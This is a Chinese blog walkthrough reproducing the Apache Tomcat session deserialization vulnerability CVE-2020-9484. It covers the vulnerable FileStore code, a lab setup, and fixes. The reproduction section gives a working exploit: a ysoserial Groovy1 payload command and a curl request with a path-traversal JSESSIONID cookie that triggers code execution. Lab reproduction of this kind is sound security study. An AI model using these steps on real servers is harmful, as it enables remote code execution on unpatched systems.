java反序列化漏洞 tomcat_Tomcat Session(CVE-2020-9484)反序列化漏洞复现

0x01简介

Apache Tomcat最早是由Sun Microsystems开发的一个Servlet容器,在1999年被捐献给ASF(Apache Software Foundation),隶属于Jakarta项目,现在已经独立为一个顶级项目。Tomcat主要实现了Java EE中的Servlet、JSP规范,同时也提供HTTP服务,是市场上非常流行的Java Web容器。

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。

6f95877982bb2e021a5ff8cb21a8c27c.png

0x02漏洞介绍

北京时间2020年05月20日,Apache官方发布了 Apache Tomcat 远程代码执行 的风险通告,该漏洞编号为 CVE-2020-9484。

Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。当Tomcat使用了自带session同步功能时,使用不安全的配置(没有使用EncryptInterceptor)会存在反序列化漏洞,攻击者通过精心构造的数据包, 可以对使用了自带session同步功能的Tomcat服务器进行攻击。

成功利用此漏洞需要同时满足以下4个条件:

1.攻击者能够控制服务器上文件的内容和文件名称

2.服务器PersistenceManager配置中使用了FileStore

3.PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象

4.攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径

0x03影响版本

Apache Tomcat 10.0.0-M1—10.0.0-M4

Apache Tomcat 9.0.0.M1—9.0.34

Apache Tomcat 8.5.0—8.5.54

Apache Tomcat 7.0.0—7.0.103

0x04漏洞分析

根据上面配置的

,去找tomcat源码。此处使用 Tomcat 10.0.0-M4 来做分析。

查看FileStore的load方法,代码如下

955ec0039ccd49f0df6f2039ddfa6692.png

load 会先将 session id 转换成 file object 查看文件是否存在, 如果存在的话会读取文件. file object 会为输入的 id 添加“.session” 后缀,然而并没有验证文件的目录。

6587495c582aec1050b2cfb8ef7e1a2e.png

当文件存在时, 系统会运行

8226c018b44817e556fedf5c06d59a74.png

getObjectInputStream 方法运行 org.apache.catalina.util.CustomObjectInputStream 获取 gadget 类, 然后就反序列化session文件了。

0x05环境搭建

安装tomcat需要java8环境,Java8环境安装教程

https://www.jianshu.com/p/9ec7838411c8

搭建一个tomcat服务,下载tomcat 10.0.0-M4,下载地址:

https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/10.0.0-M4/tomcat-10.0.0-M4.tar.gz

9a5c3ce91cba32109737d01b33b78e2e.png

在/usr/local/下创建一个tomcat目录,将文件解压进去

mkdir /usr/local/tomcat

tar -zxvf tomcat-10.0.0-M4.tar.gz -C /usr/local/tomcat/

31ddb0362229fa2a1960dc15013d4ce0.png

修改/usr/local/tomcat/conf/context.xlm 添加Manager

4093f9b772852c9defd3205d4015ebd7.png

5573d66d06f3644a6ecf8d60274d6679.png

下载groovy-2.3.9.jar,然后将groovy-2.3.9.jar 放入/usr/local/tomcat/lib目录下

在lib下执行:wget https://repo1.maven.org/maven2/org/codehaus/groovy/groovy/2.3.9/groovy-2.3.9.jar

运行tomcat:/usr/local/tomcat/bin/catalina.sh start

fff118a057f9bde64fc4f08e39dea950.png

浏览器访问http://ip:8080,出现如下界面表示安装成功

57d17cdc75fa23a2f309e5fcb0e16727.png

0x06漏洞复现

下载ysoserial 一个生成java反序列化 payload 的 .jar 包

下载地址:git clone https://github.com/frohoff/ysoserial.git

执行下面语句生成 payload

java -jar ysoserial-master-30099844c6-1.jar Groovy1 "touch /tmp/2333" > /tmp/test.session

80c5087c5e048dd8b632fead438cae91.png

在浏览器抓取首页的包添加Cookie: JSESSIONID=../../../../../tmp/test

e9fd2b0bd3ef277a5817b4e6a5b54533.png

或者直接在环境中执行POC通过JSESSION加载恶意的session持久化文件

curl 'http://172.16.1.186:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test'

61ddffd6868bdc350b16fb27dd0d52f1.png

执行 ls /tmp 查看结果

849ae32a85ed2fc37e2ed930c476a986.png

0x07修复方式

升级版本,或者配置WAF,过滤掉../之类的字符串,或者不使用 FileStore。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值